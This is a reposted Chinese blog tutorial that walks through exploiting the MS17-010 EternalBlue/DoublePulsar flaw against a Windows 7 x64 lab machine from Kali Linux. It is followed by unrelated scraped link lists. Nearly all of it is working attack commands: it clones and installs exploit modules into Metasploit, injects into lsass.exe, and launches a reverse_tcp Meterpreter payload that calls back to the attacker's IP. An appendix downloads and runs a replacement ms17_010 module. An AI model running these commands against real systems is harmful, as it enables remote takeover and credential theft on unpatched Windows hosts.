本次用到的环境:

kali(2016.2)32位系统.ip地址:192.168.1.104

目标靶机为:win7sp1x64系统(关闭防火墙),ip地址:192.168.1.105

=================================

若kali为64位

windows为32

需要安装wine32 ,但64位的kali下无法apt-get install wine32

在执行exploit时会出现 :

it looks like wine32 is missing, you should install it.

multiarch needs to be enabled first. as root, please

execute "dpkg --add-architecture i386 && apt-get update &&

apt-get install wine32"

按照上面的方法dpkg --add-architecture i386 && apt-get update &&

apt-get install wine32即可

=================================

具体的步骤如下:

kali系统下安装wine32:

apt-get install wine32

用wine32执行cmd.exe

wine cmd.exe

exit //退出

git  clone下载其利用脚本:

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb

cd Eternalblue-Doublepulsar-Metasploit/

cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

启动msf,然后进行一系列设置:

service postgresql start

msfconsole

search eternalblue

use exploit/windows/smb/eternalblue_doublepulsar

set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set PROCESSINJECT lsass.exe

set TARGETARCHITECTURE x64

set rhost 192.168.1.105

show targets

set target 9

set payload windows/x64/meterpreter/reverse_tcp

show options

set lhost 192.168.1.104

exploit

附录:

msf下的ms17-010模块:

前提条件:

1. gem install ruby_smb #ruby_smb模块安装

2.msfupdate   #msf的更新

3.msfconsole -qx "use exploit/windows/smb/ms17_010_eternalblue"  #启动并加载模块

root@backlion:/opt# wget https://raw.githubusercontent.com/backlion/metasploit-framework/master/modules/exploits/windows/smb/ms17_010_eternalblue.rb

root@backlion:/opt# cp ms17_010_eternalblue.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb

Use exploit/windows/smb/ms17_010_eternalblue

msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8

msf exploit(ms17_010_eternalblue) >set lhost 192.168.1.21

msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp

msf exploit(ms17_010_eternalblue) >exploit

Meterpreter> sysinfo

转载:https://www.cnblogs.com/backlion/p/6804863.html

kali linux安装wine32,永恒之蓝msf下 ms17_010 (64位kali下安装wine32)相关推荐

  1. python2.7安装教程win7_win7 64位环境下,为python2.7 安装pip

    第一步: 安装python并配置好环境变量 第二步: 下载setuptools源码setuptools-38.5.1.zip,地址:https://pypi.python.org/pypi/setup ...

  2. [Linux] 解决Ubuntu12.10 64位google chrome安装Flash后出现couldn‘t load plug-in的问题;

    [Linux] 解决Ubuntu12.10 64位google chrome安装Flash后出现couldn't load plug-in的问题: 参考文章: (1)[Linux] 解决Ubuntu1 ...

  3. linux ubuntu安装教程6,64位Ubuntu下安装IE6步骤

    64位Ubuntu下安装IE6步骤 ies4linux下载地址: cabextract下载地址: wine1.0下载地址: cab文件及字体下载地址: simsun.ttc下载地址: adobe fl ...

  4. windows 64位mysql5.7安装

    windows 64位mysql5.7安装 一.安装mysql 1.下载mysql-5.7.15-winx64.zip http://dev.mysql.com/downloads/mysql/ 2. ...

  5. 64位Ubuntu上 安装32位QQ

    64位Ubuntu上 安装32位QQ --------------------------------------------------------------------------------- ...

  6. 64位ubuntu能安装mysql,在ubuntu14.04 64位虚拟机中安装mysql

    因为在win10 系统上手贱的将mysql卸载掉了之后有个插件一直无法正常删除导致只能将mysql装到ubuntu虚拟机上, 宝宝心里都是累啊,所以记录下来自己的安装过程2333 命令行操作: &qu ...

  7. win10+64位+python3.4安装scrapy

    win10+64位+python3.4安装Scrapy 分析 想学习scrapy,所以网上找资料来安装.问题有不少. 1.一般大家用linux而不是Windows 2.一般大家用python2.7而不 ...

  8. SecureCRT and SecureFX 8.5 安装破解版(附注册机+破解教程) 64位

    securecrt8破解版是一款终端仿真程序,该程序可以让你在windows系统中登陆UNIX或Linux的服务器主机并实现管理设置,十分的强大.在最新的8.3版本中,软件已经可以支持包括SSH2.S ...

  9. SecureCRT and SecureFX 8.0 安装破解版(附注册机+破解教程) 64位

    文章转载链接:https://www.jb51.net/softs/571793.html SecureCRT下载地址在原文处有下载 securecrt8.0破解版是一款终端仿真程序,该程序可以让你在 ...

最新文章

  1. python中if错误-Python中常见的异常处理
  2. ExtJS4为form表单必填项添加红色*标识
  3. 【转】Linux下gcc编译生成动态链接库*.so文件并调用它
  4. 【Flink】Flink 源码之 安全认证 kerberos 认证
  5. Python md5 sha1 的使用
  6. 从零开始徒手撸一个vue的toast弹窗组件
  7. 录音整理文字工具otranscribe简介
  8. iOS 中关于 skip install
  9. E4/EAS/Eventing System 事件系统
  10. websphere一直安装部署_构建独立部署系统,从部署规范开始
  11. 5万字、97 张图总结操作系统核心知识点
  12. 递归回溯求解数独 C++实现方法
  13. 陈省身文集53——大范围微分几何若干新观点
  14. VPS与云主机指南:了解五个主要区别
  15. 《修炼之道:互联网产品从设计到运营》荣获“2012最受读者喜爱的IT人文类图书奖”!
  16. 新星计划、原力计划新动态,大波的奖牌来袭速来领取
  17. C++ 求幂函数pow()的输出问题
  18. 单片机中断实验2 EX0
  19. 宝塔Linux面板安装命令脚本大全(Centos/Ubuntu/Debian/Fedora/Deepin)
  20. X3D爱好者QQ群:47542302

热门文章

  1. NVIDIA空中导航SDK改造5G通信
  2. Java 参数后面跟三个... 的作用
  3. onAttach 显示过时的处理方法
  4. Android Intent hasExtra()方法的使用
  5. ABAP 程序间的调用
  6. 深入浅出的webpack构建工具---DllPlugin DllReferencePlugin提高构建速度(七)
  7. Usage and Idioms——Categories
  8. 一个用于录制用户输入操作并实时回放的小工具
  9. js 判断js,css是否引入,确保不重复引入
  10. 动态环境下的SLAM:DynaSLAM 论文学习笔记